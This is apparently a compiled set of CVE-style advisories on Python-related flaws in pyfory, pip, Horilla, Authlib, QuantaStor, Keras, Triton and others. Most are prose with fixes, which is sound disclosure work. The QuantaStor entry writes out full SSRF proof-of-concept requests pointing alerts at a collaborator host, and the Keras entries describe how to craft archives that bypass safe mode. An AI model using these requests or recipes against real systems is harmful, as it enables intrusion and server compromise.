VAITP

Deserialization of untrusted data in python in pyfory versions 0.12.0 through 0.12.2, or the legacy pyfury versions from 0.1.0 through 0.10.3: allows arbitrary code execution. An application is vulnerable if it reads pyfory serialized data from untrusted sources. An attacker can craft a data stream that selects pickle-fallback serializer during deserialization, leading to the execution of `pickle.loads`, which is vulnerable to remote code execution. Users are recommended to upgrade to pyfory version 0.12.3 or later, which has removed pickle fallback serializer and thus fixes this issue.

When extracting a tar archive pip may not check symbolic links point into the extraction directory if the tarfile module doesn't implement PEP 706. Note that upgrading pip to a "fixed" version for this vulnerability doesn't fix all known vulnerabilities that are remediated by using a Python version that implements PEP 706. Note that this is a vulnerability in pip's fallback implementation of tar extraction for Python versions that don't implement PEP 706 and therefore are not secure to all vulnerabilities in the Python 'tarfile' module. If you're using a Python version that implements PEP 706 then pip doesn't use the "vulnerable" fallback code. Mitigations include upgrading to a version of pip that includes the fix, upgrading to a Python version that implements PEP 706 (Python >=3.9.17, >=3.10.12, >=3.11.4, or >=3.12), applying the linked patch, or inspecting source distributions (sdists) before installation as is already a best-practice.

Horilla is a free and open source Human Resource Management System (HRMS). An authenticated Remote Code Execution (RCE) vulnerability exists in Horilla 1.3.0 due to the unsafe use of Python’s eval() function on a user-controlled query parameter in the project_bulk_archive view. This allows privileged users (e.g., administrators) to execute arbitrary system commands on the server. While having Django’s DEBUG=True makes exploitation visibly easier by returning command output in the HTTP response, this is not required. The vulnerability can still be exploited in DEBUG=False mode by using blind payloads such as a reverse shell, leading to full remote code execution. This issue has been patched in version 1.3.1.

Authlib is a Python library which builds OAuth and OpenID Connect servers. Prior to version 1.6.4, Authlib’s JWS verification accepts tokens that declare unknown critical header parameters (crit), violating RFC 7515 “must‑understand” semantics. An attacker can craft a signed token with a critical header (for example, bork or cnf) that strict verifiers reject but Authlib accepts. In mixed‑language fleets, this enables split‑brain verification and can lead to policy bypass, replay, or privilege escalation. This issue has been patched in version 1.6.4.

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests. POC Step 1: Prepare the SSRF with a request like this: GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 0 Step 2: Trigger this alert with this request GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1 Host: <HOSTNAME> Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Connection: close authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json Content-Length: 1 The post request received by <TARGET> looks like this: {   ### Python FLASK stuff ####  'endpoint': 'index',   'method': 'POST',   'cookies': ImmutableMultiDict([]),   ### END Python FLASK stuff ####   'data': b'{   "attachments": [    {     "fallback": "[122] test / test.",     "color": "#aa2222",     "title": "[122] test",     "text": "test",     "fields": [        {           "title": "Alert Severity",           "value": "CRITICAL",           "short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",           "short": true        },  {           "title": "System / Driver / Kernel Ver",           "value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",           "short": false        },  {           "title": "System Startup",           "value": "Fri Aug  6 16-02-55 2021",           "short": true         },  {           "title": "SSID",           "value": "f4823762-1dd1-1333-47a0-6238c474a7e7",           "short": true        },     ],     "footer": "QuantaStor Call-home Alert",     "footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",     "ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####  'headers': {   'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'  },  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' } #### END FLASK REQUEST STUFF #####

Vasion Print (formerly PrinterLogic) Virtual Appliance Host and Application include Windows client components (PrinterInstallerClientInterface.exe, PrinterInstallerClient.exe, PrinterInstallerClientLauncher.exe) that lack modern compile-time and runtime exploit mitigations and rely on outdated runtimes. These binaries are built as 32-bit, without Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), Control Flow Guard (CFG), or stack-protection, and they incorporate legacy technologies (Pascal/Delphi and Python 2) which are no longer commonly maintained. Several of these processes run with elevated privileges (NT AUTHORITY\SYSTEM for PrinterInstallerClient.exe and PrinterInstallerClientLauncher.exe), and the client automatically downloads and installs printer drivers. The absence of modern memory safety mitigations and the use of unmaintained runtimes substantially increase the risk that memory-corruption or other exploit primitives — for example from crafted driver content or maliciously crafted inputs — can be turned into remote or local code execution and privilege escalation to SYSTEM.

The Keras Model.load_model method can be exploited to achieve arbitrary code execution, even with safe_mode=True. One can create a specially crafted .keras model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed. This is achieved by crafting a special config.json (a file within the .keras archive) that will invoke keras.config.enable_unsafe_deserialization() to disable safe mode. Once safe mode is disable, one can use the Lambda layer feature of keras, which allows arbitrary Python code in the form of pickled code. Both can appear in the same archive. Simply the keras.config.enable_unsafe_deserialization() needs to appear first in the archive and the Lambda with arbitrary code needs to be second.

The Keras Model.load_model method can be exploited to achieve arbitrary code execution, even with safe_mode=True. One can create a specially crafted .h5/.hdf5 model archive that, when loaded via Model.load_model, will trigger arbitrary code to be executed. This is achieved by crafting a special .h5 archive file that uses the Lambda layer feature of keras which allows arbitrary Python code in the form of pickled code. The vulnerability comes from the fact that the safe_mode=True option is not honored when reading .h5 archives. Note that the .h5/.hdf5 format is a legacy format supported by Keras 3 for backwards compatibility.

The cbis_manager Podman container is vulnerable to remote command execution via the /api/plugins endpoint. Improper sanitization of the HTTP Headers X-FILENAME, X-PAGE, and X-FIELD allows for command injection. These headers are directly utilized within the subprocess.Popen Python function without adequate validation, enabling a remote attacker to execute arbitrary commands on the underlying system by crafting malicious header values within an HTTP request to the affected endpoint. The web service executes with root privileges within the container environment, the demonstrated remote code execution permits an attacker to acquire elevated privileges for the command execution. Restricting access to the management network with an external firewall can partially mitigate this risk.

NVIDIA Triton Inference Server for Windows and Linux contains a vulnerability in the Python backend, where an attacker could cause a remote code execution by manipulating the model name parameter in the model control APIs. A successful exploit of this vulnerability might lead to remote code execution, denial of service, information disclosure, and data tampering.